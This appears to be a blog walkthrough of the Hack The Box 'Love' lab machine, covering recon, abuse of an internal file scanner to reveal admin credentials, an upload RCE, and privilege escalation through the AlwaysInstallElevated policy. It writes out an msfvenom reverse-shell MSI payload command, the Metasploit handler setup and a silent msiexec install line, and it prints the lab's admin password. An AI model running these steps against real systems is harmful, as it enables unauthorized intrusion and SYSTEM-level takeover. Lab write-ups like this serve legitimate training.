Love HTB Walkthrough
- Get link
- X
- Other Apps
Hey guys Styx here. Back again with another HTB walkthrough.
This time we go through the Love box which is rated as easy.
## RECON ##
as usual add love.htb to the /etc/hosts file.
Let's kick off off a quick rust scan.
We quickly see that there are 19 ports open. Let's look at further results.
Looking at the scan results we see staging.love.htb. Let's add this to our host file.
Ok let's move on to content discovery.
When enumerating the target we see that we got a hit on /admin let's browse to this location.
In this pic here we can see that we found an admin panel. No further results were found that we can use to dig deeper in the application. So let's look back at the nmap results. Let's take a look at staging.love.htb. And on staging.love.htb we found the file scanner. Let's see if we can scan some of the local ports using this file scanner.
after trying a few ports that also used HTTP (as shown in the nmap results). Eventually,by scanning 127.0.0.1:5000 we found the password panel! It seems like we found a password dashboard.
admin creds
Vote Admin Creds admin: @LoveIsInTheAir!!!!
this provides us access to the admin panel over at http://love.htb/admin
## Exploitation ##
Now that we have access to this panel it's time to look for a way to get an initial foothold on the server.
As you can see in the next pic. There is an RCE in the upload functionality when registering new candidates and uploading a photo. This function is located at /admin/candidates.php
There are a few ways to exploit this vulnerability but I chose the lazy way this time.
Check out this script HERE
Change some of the path parameters and you are good to go.
And we are in!
On Phoebe's Desktop directory you will find the user.txt
## Privilege Escalation ##
Now let's move on to get system on this box.
When enumerating the system. We see that the AllwaysInstallElevated policy is enabled. This can be verified by running:
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
If these 2 registers are enabled (value = 0x1), then users of any privilege can install (execute) *.msi files as NT AUTHORITY\SYSTEM.
In the next pic you see that this is the case!
So let's move on creating that .msi file!
In order to create:
msfvenom -p windows/meterpreter/reverse_tcp lhost=IP lport=PORT -f msi -o styx.msi
Then follow these steps:
- Transfer the .msi file to the target.
- Use msfconsoles' handler to receive the reverse shell. ("use exploit/multi/handler" and set the payload to "windows/meterpreter/reverse_tcp"
- On the target machine run the file with msiexec /quiet /qn /i styx.msi
voila! we are system.
I hope you enjoyed this walkthrough and you learned something new.
See you in the next one.
Cheers!
Styx
Comments
Post a Comment